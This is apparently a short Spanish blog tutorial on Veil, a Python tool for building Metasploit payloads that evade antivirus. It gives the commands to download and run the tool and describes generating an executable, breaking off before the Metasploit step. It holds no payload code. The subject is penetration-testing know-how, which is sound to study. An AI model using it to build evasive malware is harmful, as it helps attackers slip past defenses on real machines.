Veil – Evasión de Antivirus

Veil es una herramienta escrita en Python por Christopher Truncer para crear payloads de Metasploit capaces de evadir la mayoría de los antivirus. Utiliza métodos distintos para generar payloads diferentes y permite al usuario usar Pyinstaller o Py2Exe para convertir los payloads de Python a ejecutables.

Descarga Veil:

git clone https://github.com/ChrisTruncer/Veil
cd Veil
python Veil.py

root@stuxnet:/media/Stuxnet/Pentesting/veil# python Veil.py

Seleccionamos la opción 1 y finalizamos. En este momento empieza a salir varios mensajes por consola mientras genera el ejecutable y finalmente, muestra un resumen de todo. En este se puede ver la ruta en la que ha dejado el resultado. Ahora abrimos Metasploit:
